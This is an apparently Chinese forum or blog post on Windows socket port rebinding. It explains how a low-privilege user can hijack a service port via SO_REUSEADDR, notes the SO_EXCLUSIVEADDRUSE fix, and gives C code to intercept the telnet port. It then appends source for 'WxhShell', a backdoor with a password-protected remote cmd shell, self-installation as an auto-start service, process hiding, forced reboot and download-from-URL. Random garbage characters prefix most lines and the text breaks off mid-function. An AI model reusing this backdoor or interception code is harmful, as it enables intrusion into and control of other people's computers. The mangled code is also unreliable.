在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
6m[9b*s7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
<d"Gg/@a s}(X]Gx1 saddr.sin_family = AF_INET;
TwFb%YM S+ebO/$> saddr.sin_addr.s_addr = htonl(INADDR_ANY);
9p`r7: 3dG4pl~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
%[Zz0|A lzDdD3Ouc 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
k[9A,N^lZB x=Mm6}/ 这意味着什么?意味着可以进行如下的攻击:
Wc|z7P~',% z0Xa_w= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
m*oc)x7' rzu
s 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
G),db%,X2 eYEc^nC,c) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Hk u=pr3Gn 4RQ5(YTTuR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
/{X_
.fv<v ]:et~pfW 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
k1fRj_@WPT !ZrB^?sO 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:JlDi>B D|Si)_
Iz 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
"2;N2=~7 9":2"<'+ #include
+< KNY #include
"EH,J #include
l^r' $;<m #include
Mr*|9h DWORD WINAPI ClientThread(LPVOID lpParam);
u+2Lm*M int main()
2EfflZL3 {
"HC)/)Mv@ WORD wVersionRequested;
uTGcQs} DWORD ret;
@~o`#$*| WSADATA wsaData;
3eKQ<$w BOOL val;
8=Q VN_ SOCKADDR_IN saddr;
Y6ben7j%- SOCKADDR_IN scaddr;
wiE]z int err;
doD>m?rig3 SOCKET s;
><Uk*mwL SOCKET sc;
T"!EK& int caddsize;
/s[DI;M$o HANDLE mt;
'ere!:GJD DWORD tid;
)N7n,_#T> wVersionRequested = MAKEWORD( 2, 2 );
l~1AT% err = WSAStartup( wVersionRequested, &wsaData );
>IY,be6>P if ( err != 0 ) {
yr{B5z, printf("error!WSAStartup failed!\n");
2OalAY6RS return -1;
J#7y<
s }
@!\K>G >9[ saddr.sin_family = AF_INET;
]a/'6GbR GZ8:e3ri //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
4;*f1_;f~ %-j&e44 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
0 {R/<N saddr.sin_port = htons(23);
I/B1qw;MN if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
xK;e\^v {
XP;x@I#l printf("error!socket failed!\n");
~>%DKJe return -1;
(1){A8=?o }
3k'.(P|F val = TRUE;
de YyaV //SO_REUSEADDR选项就是可以实现端口重绑定的
aws"3O%
uW if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Z;b+>2oL {
A}G|Yfn printf("error!setsockopt failed!\n");
-3hCiKq return -1;
Q)^g3J }
ow.6!tl0=h //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
x~/+RF XF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
onl>54M^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
g:gB`8w? ^\wl2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;&?pd"^<_Z {
A/ 0qk ret=GetLastError();
)^
<3\e printf("error!bind failed!\n");
?63&g{vA return -1;
dWR1cvB(wY }
HomN/wKh listen(s,2);
>.LKct*5K while(1)
l`gTU?<xd {
@
yxt($G caddsize = sizeof(scaddr);
CBHc A'L //接受连接请求
N[k<@Q?*a sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
vv/J 5#^,\ if(sc!=INVALID_SOCKET)
Kt
` {
d^84jf.U mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
OD+5q(!"a if(mt==NULL)
8(xw?|D7 {
i2`0|8mw' printf("Thread Creat Failed!\n");
N5 n> break;
L2|aHI1'l }
0*7*RX }
}*kJ-q&0 CloseHandle(mt);
LfX0Z=< }
.ECHx Dp closesocket(s);
'6zd;l9Z WSACleanup();
2u:4$x8 return 0;
,7,;twKz }
9*}gl3y DWORD WINAPI ClientThread(LPVOID lpParam)
+Me2U9 {
(@&I_>2Q SOCKET ss = (SOCKET)lpParam;
._<ii 2K' SOCKET sc;
JSW&rn unsigned char buf[4096];
=n0*{~r SOCKADDR_IN saddr;
fk3kbdI long num;
8/Rm!.8+~ DWORD val;
MF.[8Zb DWORD ret;
T;?+kC3 //如果是隐藏端口应用的话,可以在此处加一些判断
% vS8?nG //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
8tQ|-l* saddr.sin_family = AF_INET;
vJCf~' saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
d6.}.*7Whc saddr.sin_port = htons(23);
s AE9<(g&@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)=H{5&e#u {
<_:zI r, printf("error!socket failed!\n");
OE"<!oIs return -1;
p`>d7S>" }
I/s.xk_i val = 100;
]T^is> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6
=gp:I {
Hg(5S,O2 ret = GetLastError();
=nhzMU9c\y return -1;
y1,5$0@G }
f7+Cz>R if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
r!K|E95oj9 {
./w{L"E ret = GetLastError();
Hj~O49%j& return -1;
OM!=ViN(= }
I;j3*lV_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
s4t0f_vj` {
\P?A7vuhLs printf("error!socket connect failed!\n");
K]"Kf{bx closesocket(sc);
Tf-CEHWD closesocket(ss);
<abKiXA" return -1;
!N~*EI$ }
nem@sB;v# while(1)
9S1#Lr`r {
t[2i$%NVM //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
XxOn3i //如果是嗅探内容的话,可以再此处进行内容分析和记录
dDlG!F_= //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
7~vqf3ON4J num = recv(ss,buf,4096,0);
<lo`q<q if(num>0)
GqUSVQ send(sc,buf,num,0);
3j*'HST else if(num==0)
sh6(z?KP break;
bUvK num = recv(sc,buf,4096,0);
tWk{1IL if(num>0)
zM59UQU; send(ss,buf,num,0);
.#!mDlY; else if(num==0)
yGEb7I$h break;
v2J0u:#, }
Q!$IQJ]|Y closesocket(ss);
>L[lV_M_> closesocket(sc);
C1QWU5c v return 0 ;
~3=2=Uf }
/DU*M, h5-d;RKE J
Jy{@[m ==========================================================
,F:=(21 295w.X(J 下边附上一个代码,,WXhSHELL
rJ(OAKnY -,GEv%6c ==========================================================
E1W:hGI }1>atgq]w #include "stdafx.h"
9^zx8MRXd t!jwY /T #include <stdio.h>
@ER1zKK? #include <string.h>
x/ I;nMY #include <windows.h>
Uu5C%9^s #include <winsock2.h>
pUL sGb #include <winsvc.h>
3h&bZ #include <urlmon.h>
K-4tdC3 !6E:5=L^ #pragma comment (lib, "Ws2_32.lib")
d@>\E/zA #pragma comment (lib, "urlmon.lib")
}ywi"k4> ,qy&|4Jz #define MAX_USER 100 // 最大客户端连接数
WQt5#m; W #define BUF_SOCK 200 // sock buffer
HV\"T(89 #define KEY_BUFF 255 // 输入 buffer
jo0Pd_W8& 'v`_Ii|- #define REBOOT 0 // 重启
Yy@g9mi #define SHUTDOWN 1 // 关机
2U%qCfh6| }n95< { #define DEF_PORT 5000 // 监听端口
S=O$JP79 Wz{%"o #define REG_LEN 16 // 注册表键长度
XS|mKuMcC #define SVC_LEN 80 // NT服务名长度
v3^t/[e~: f)^t') // 从dll定义API
"Ot{^_e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
M(5D'4. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
/{we;Ut=g typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
/*P7<5n0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
-f.R#J$2 .Cr1,Po // wxhshell配置信息
GP]TnQ<*; struct WSCFG {
o+^Eu}[. int ws_port; // 监听端口
vYzVY\ char ws_passstr[REG_LEN]; // 口令
C BlXC7_Mi int ws_autoins; // 安装标记, 1=yes 0=no
;+%Z@b% char ws_regname[REG_LEN]; // 注册表键名
XU-*[\K char ws_svcname[REG_LEN]; // 服务名
{!t=n char ws_svcdisp[SVC_LEN]; // 服务显示名
g7Z9F[d char ws_svcdesc[SVC_LEN]; // 服务描述信息
P)IjL&[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
b~as64 int ws_downexe; // 下载执行标记, 1=yes 0=no
o7arxo\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
@dV9Dpu char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:;TYL[ (nz}J)T& };
:c<*%*e SG`)PW? // default Wxhshell configuration
~04[KG struct WSCFG wscfg={DEF_PORT,
)*
3bkKVB "xuhuanlingzhe",
czS7-Hh@ 1,
fq(5Lfe} "Wxhshell",
d h?dO` "Wxhshell",
6n-r "WxhShell Service",
@g\;` #l "Wrsky Windows CmdShell Service",
kaO{#i2- "Please Input Your Password: ",
yoW>
BX 1,
jGiw96,Y "
http://www.wrsky.com/wxhshell.exe",
o=mo/N4 "Wxhshell.exe"
wA",SBGX };
D1ZC&B_}- /.v_N%*-v // 消息定义模块
:rL?1" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
uk6g s)qxC char *msg_ws_prompt="\n\r? for help\n\r#>";
0BFz7 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
%/%gMRXG2 char *msg_ws_ext="\n\rExit.";
^S=cNSpC char *msg_ws_end="\n\rQuit.";
~oFh>9u char *msg_ws_boot="\n\rReboot...";
eP?~-# char *msg_ws_poff="\n\rShutdown...";
+"Ub/[J{G1 char *msg_ws_down="\n\rSave to ";
+ !xu{2 ! @<5Tba>SC char *msg_ws_err="\n\rErr!";
sDAK\#z char *msg_ws_ok="\n\rOK!";
|hD~6a cIZ[[(Db char ExeFile[MAX_PATH];
mQ=sNZ-d] int nUser = 0;
(HJ$lxk<2h HANDLE handles[MAX_USER];
[D hEh@ int OsIsNt;
1t#XQ?8 ]|y}\7Aa SERVICE_STATUS serviceStatus;
k-vA# SERVICE_STATUS_HANDLE hServiceStatusHandle;
B{99gwMe] AZBC P // 函数声明
GoL|iNW` int Install(void);
YM8rJ- int Uninstall(void);
(GNEYf| int DownloadFile(char *sURL, SOCKET wsh);
L]*`4L int Boot(int flag);
7@@<5&mN void HideProc(void);
LUG9 #. int GetOsVer(void);
p2^)2v int Wxhshell(SOCKET wsl);
j%u8= void TalkWithClient(void *cs);
$^IjFdD int CmdShell(SOCKET sock);
,P~QS int StartFromService(void);
94YA2_f; int StartWxhshell(LPSTR lpCmdLine);
3 69Zu4|u L}b'+Wi@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
"?[7#d]) VOID WINAPI NTServiceHandler( DWORD fdwControl );
-U:2H7 #@q1Ko!NZ // 数据结构和表定义
1~L\s}|2d SERVICE_TABLE_ENTRY DispatchTable[] =
TR?Bvy2s:g {
FR(QFt!g {wscfg.ws_svcname, NTServiceMain},
a_AJ)4 {NULL, NULL}
/]g>#J%b };
My],6va^ n5\}KZh // 自我安装
u`+'lBE, int Install(void)
v!KJ|c@m {
_1\poAy char svExeFile[MAX_PATH];
`xGT_0&ck HKEY key;
@Rf^P( strcpy(svExeFile,ExeFile);
tbS#^Y c`pYc // 如果是win9x系统,修改注册表设为自启动
Cg7)S[zl if(!OsIsNt) {
"G@E6{/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'rvE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
w#rVSSXQ3 RegCloseKey(key);
I[%M!_+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hu&n=6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
IG&B2* RegCloseKey(key);
)Z&HuEg{ZR return 0;
w?i)/q }
<a fO 6?` }
~7dF/Nn5 }
oHk27U G else {
Gj*SPU f:&)" // 如果是NT以上系统,安装为系统服务
wZ
O@J| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
^t7_3%%w if (schSCManager!=0)
oLd:3,p} {
@H6%G>K, SC_HANDLE schService = CreateService
m$)YYpX (
ePi
Z schSCManager,
_=6vW^s wscfg.ws_svcname,
Agz=8=S% wscfg.ws_svcdisp,
IE|,~M2 SERVICE_ALL_ACCESS,
fmBkB8 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
>r~|1kQ. SERVICE_AUTO_START,
y=wdR|b SERVICE_ERROR_NORMAL,
E~}[+X@ svExeFile,
y%JF8R;n NULL,
m+p4Mc%u NULL,
yZ ?$8r NULL,
~RAzFLt6x NULL,
$Q=$?>4U NULL
:ET x*c );
8pd&3G+ if (schService!=0)
?S8$5gA {
v,8Si'"i+ CloseServiceHandle(schService);
fG3wc
l~ CloseServiceHandle(schSCManager);
PMQb\%iE" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
y>4p~ strcat(svExeFile,wscfg.ws_svcname);
7WXiG0 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
(&k')ff9K RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
75<el.'H RegCloseKey(key);
)Gmb?!/^ return 0;
3mybG%39 }
Nz}|%.GP" }
w{~" ;[@ CloseServiceHandle(schSCManager);
80 dSQ"y }
tD865gi }
$f9 ,##/ <Nvlk\LQ return 1;
nM=2"`@$ }
% /~os2R *u58l(&`8 // 自我卸载
S3nB:$_-; int Uninstall(void)
I.UjST {
C"k2<IE HKEY key;
:J<Owh@
8 qn{ if(!OsIsNt) {
$tEdBnf^ca if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
HhzkMJR8 RegDeleteValue(key,wscfg.ws_regname);
Ca$y819E2 RegCloseKey(key);
t`h_+p%> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Hi$#!OU RegDeleteValue(key,wscfg.ws_regname);
N!]PIWnC RegCloseKey(key);
,nI_8r"M> return 0;
\A` gK\/h }
$3lt{ % }
t$tsWAmiA[ }
!,I7 ?O else {
ZBPd(;"x+ LAj}kW~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
=CWc` if (schSCManager!=0)
bN]\K/ {
tWcizj;?wK SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
^
sS>Mts if (schService!=0)
N|bPhssFw {
r4;^c} if(DeleteService(schService)!=0) {
O 0Vn";Q 4 CloseServiceHandle(schService);
)j]gm i" CloseServiceHandle(schSCManager);
V|+ `L- return 0;
HI}pX{.\ }
Z3OZPxm CloseServiceHandle(schService);
,xm;JXJ }
)-MA!\=< CloseServiceHandle(schSCManager);
}_Tt1iai* }
Iv Y,9D }
|~7+/VvI+ _3s~!2 return 1;
[8{_i?wY }
U+(Z#b(Q (N)r#"FV // 从指定url下载文件
1'(_>S5CG int DownloadFile(char *sURL, SOCKET wsh)
.`:oP&9r {
'm HRESULT hr;
BERn _5gb char seps[]= "/";
VFQq`!*i char *token;
EI[e+@J char *file;
xgZV0!% char myURL[MAX_PATH];
SH .9!lQv char myFILE[MAX_PATH];
Gw{Gt]liq b #o}=m strcpy(myURL,sURL);
le
"JW/BD token=strtok(myURL,seps);
}IxY(`:qs while(token!=NULL)
7}. #Z {
>1#DPU(g file=token;
yBpW#1= token=strtok(NULL,seps);
$q4 XcIX 7 }
)->-~E}p9 Km|9Too GetCurrentDirectory(MAX_PATH,myFILE);
Zm"!E6`69 strcat(myFILE, "\\");
h;cB_6vt strcat(myFILE, file);
G1`mn$`kq send(wsh,myFILE,strlen(myFILE),0);
w`H.ey send(wsh,"...",3,0);
Q
`J,dzY hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
<~IH` if(hr==S_OK)
0X] ekq return 0;
T4%i`<i else
WZ-4^WM=! return 1;
r[C3u[ D#vn {^c8O }
tJ(c<:zD @d8&3@{R^ // 系统电源模块
-D.BJ( int Boot(int flag)
gb!@OZ c {
eONeWY9 HANDLE hToken;
7I2a*4} TOKEN_PRIVILEGES tkp;
[ZL r:2+z N7RG5? if(OsIsNt) {
&0;{lS[N:L OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
P#vv+]/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
3B!&ow<rt tkp.PrivilegeCount = 1;
N}.Q%&6: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
l<0[ K( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
C,sD?PcSi+ if(flag==REBOOT) {
2n-Tpay0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
,H#qgnp return 0;
SK2J`* }
oo$WD6eCR else {
ihpz}g if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Z~-T0Ab- return 0;
1j${,>4tQ }
=jk-s*g }
<3],C)Zwc else {
=F^->e0N if(flag==REBOOT) {
tk3<sr"IQ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Cu)%s return 0;
:FKYYH\ }
dy8In% else {
e4>L@7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
IGF37';; return 0;
XNkQk0i;g& }
(dO'_s&M]/ }
)<]w23i q>(I*=7 return 1;
4z-,M7iP }
@'F8 |I 6 Oo3qiw // win9x进程隐藏模块
`a/PIc" void HideProc(void)
1drqWI~ {
web8QzLLB fY,@2VxyfA HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
OI]K_ m3 if ( hKernel != NULL )
LS2ek*FJO {
_x,-d|9bd pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
}]n>A ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
-Fok%iQ'5 FreeLibrary(hKernel);
,
$D&WH }
`ykMh>*{ C-:SQf return;
1O'* X }
*$4A|EA V mvL0F%\.\ // 获取操作系统版本
+s*l#'Q int GetOsVer(void)
`DWi4y7 {
yuy+}]uB@ OSVERSIONINFO winfo;
\KnD"0KW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
%Zv(gI`A GetVersionEx(&winfo);
I 1VEm?CQ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
?-.Ep0/ return 1;
{g:/BFLr# else
K,L> return 0;
!e#I4,f n }
mKf>6/s{c e8P!/x-y // 客户端句柄模块
|/T<]+X; int Wxhshell(SOCKET wsl)
JQbMw>Y {
]` &[Se d SOCKET wsh;
H[_uVv;}6 struct sockaddr_in client;
K#6`LL m DWORD myID;
iEJQ#5))0 Ei?9M^w while(nUser<MAX_USER)
^]sMy7X0IK {
)kY_"= d int nSize=sizeof(client);
_?(hWC"0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
`
HE:D2b if(wsh==INVALID_SOCKET) return 1;
$jm>tW&; W_f"Gk handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
$E9daUt8"J if(handles[nUser]==0)
jFPE>F7-M closesocket(wsh);
}JpslY*aS else
h2/1S{/n] nUser++;
(-Ct!aW| }
L9unhx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
K+\0}qn K^cWj_a" return 0;
qY~$wVY( }
hO<w]jV, M;vlQ"Yl' // 关闭 socket
a m k42 void CloseIt(SOCKET wsh)
,TfI {
SU#P.y18% closesocket(wsh);
<
jocfTBk nUser--;
Zm8
u: ExitThread(0);
+'&_V011< }
I}G}+0geV `6S=KRv // 客户端请求句柄
,C'w(af@} void TalkWithClient(void *cs)
<cfH'~ {
J!K/7uS zhvk%Y: SOCKET wsh=(SOCKET)cs;
TLL[F;uZ char pwd[SVC_LEN];
6t mNfI34 char cmd[KEY_BUFF];
Eztz~oFo char chr[1];
E_gDwWot int i,j;
M;TfD "JUQ)> !? while (nUser < MAX_USER) {
tm36Lw
!K^Z5A_; if(wscfg.ws_passstr) {
"/K&qj if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
w<F;&';@h //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#NQz&4W //ZeroMemory(pwd,KEY_BUFF);
6<Pg>Bg i=0;
+ x;ML while(i<SVC_LEN) {
gq:TUvX <11Tqb // 设置超时
J&U0y fd_set FdRead;
a_iQlsU struct timeval TimeOut;
xP/1@6]_Je FD_ZERO(&FdRead);
|`t!aG8 FD_SET(wsh,&FdRead);
C7 &
6rUX TimeOut.tv_sec=8;
^B6i6]Pd=9 TimeOut.tv_usec=0;
\|>`z,; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
+_XbHjhN/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
V8U`%/`N u+tb83~[= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
e'?doP pwd
=chr[0]; ~ew**@N
if(chr[0]==0xd || chr[0]==0xa) { t>h
i$NX{p
pwd=0; 7pI\`*7b
break; F+y`4>x
} 0*:hm%g
i++; }v$=mLy
} eN?P) ,
$E_vCB_
// 如果是非法用户,关闭 socket aaD$'Y,<>B
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JQh s=Xg
} Jx
;"a\KD
{LJ6't 8y:
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H{A| ~V)
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ho._&az9cT
hy&Hl
while(1) { z9kX`M+
<%#y^_
ZeroMemory(cmd,KEY_BUFF); q~dg
e}4^N1'd/
// 自动支持客户端 telnet标准 .5CELtR
j=0; #M9D"
<pn}
while(j<KEY_BUFF) { #m$% S%s
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K,,@',
cmd[j]=chr[0]; ,JBw$C
if(chr[0]==0xa || chr[0]==0xd) { Am?Hkh2
cmd[j]=0; 8OtUY}R
break; WT!\X["FI$
} |%cO"d^ri
j++; O2/w:zOg'
} aE cg_es
g*c\'~f;
// 下载文件 /uz5V/i0
if(strstr(cmd,"http://")) { ?N?pe}
send(wsh,msg_ws_down,strlen(msg_ws_down),0); = SJF\Z
if(DownloadFile(cmd,wsh)) %iS]+Sa.K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (*WZsfk>/<
else wukos5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [
EID27P
}
DfzUGX
else { 95 .'t}
3XlnI:w=
switch(cmd[0]) { MMr7,?,$
hYv 6-5_
// 帮助 5 /jY=/0.a
case '?': { yGG\[I;7
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v*fc5"3eO
break; ~_j%nJ
&2
} 59Q Q_#>
// 安装 32|L
$o
case 'i': { o3=S<|V
if(Install()) 2CgIY89O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }=m?gF%3
else jMWwu+w
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +U)|&1oa
break; bnY8.Lpf|
} cB F%])!
// 卸载 @#Uiy5N
case 'r': { jLS]^|
if(Uninstall()) {ro!OuA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7`<? fO
else X6*y/KGN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &r5%WRzpYT
break; mL5f_Fb+
} 8Y~T$Yj^
// 显示 wxhshell 所在路径 >upUY(3&
case 'p': { RkP|_Bf8)
char svExeFile[MAX_PATH]; $5CY<,f
strcpy(svExeFile,"\n\r"); 9x^
/kAB
strcat(svExeFile,ExeFile); AbI*/|sY
send(wsh,svExeFile,strlen(svExeFile),0); 4x?u5L
9o
break; 9.#R?YP$
} >8;%F<o2
// 重启 d4h(F,K7V
case 'b': { C{,] 1X6g
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zYF&Dv/u/
if(Boot(REBOOT)) )0d".Q|v4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (ai-n,y
else { |A/_Qe|s2
closesocket(wsh); |Pl{Oo+
ExitThread(0); /~huTKA}
} LF.~rmPa
break; QR$sIu@%
} :p)9Heu
// 关机 cE>/iZc
case 'd': { Wc;D{p?Lb
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9,> Y
if(Boot(SHUTDOWN)) 2co{9LM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y '*h_K
else { |8{iIvi/
closesocket(wsh); M]TVaN$v#
ExitThread(0); c
O>:n
} 6@ ^`-N;
break; pYUkd!K"
} .+o>
// 获取shell S,v >*AF
case 's': { ,;pX.Ob U
CmdShell(wsh); V*uu:
closesocket(wsh); t
U=b~
ExitThread(0); }eFUw
break; ?o5#Ve$-X
} @@mW+16
// 退出 \#7%%>p=O'
case 'x': { Riuv@i^6K
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6;XpLivP7
CloseIt(wsh); MJpTr5Vs
break; 7$P(1D4
} d6
EJn/
// 离开 bO%ck-om!
case 'q': { 9],"AjD
send(wsh,msg_ws_end,strlen(msg_ws_end),0); zR_l^NK
closesocket(wsh); TEZqAR]G
WSACleanup(); <[l}^`IC^4
exit(1); ]JuB6o_L
break; pFRnPOv
} l8us6
} EoWzHa
}
VZ@@j[F(
NVZNQ{
// 提示信息 sn`?Foh
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1+c(G?Ava
} *]?YvY
} > .~k?_Of
5{aQ4H>~tx
return; [;8fL
} ui0(#2'h%
3edK$B51;
// shell模块句柄 4tNgK[6M
int CmdShell(SOCKET sock) 8@
gD03
{ *.Hnt\4|
STARTUPINFO si; ~x|Sv4M
ZeroMemory(&si,sizeof(si)); c2:kZxT
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I3b-uEHev
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }kefrT
PROCESS_INFORMATION ProcessInfo; ~2ei+#d!^
char cmdline[]="cmd"; dh`A(B{hfc
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aJ;R8(*;\
return 0; Mn;CG'FA
} c4W"CD;D
vAxtNRS
// 自身启动模式 X]%4QIeS
int StartFromService(void) o;/F=Zp
{ :8T@96]P
typedef struct U<byR!qLie
{ (7!(e
,
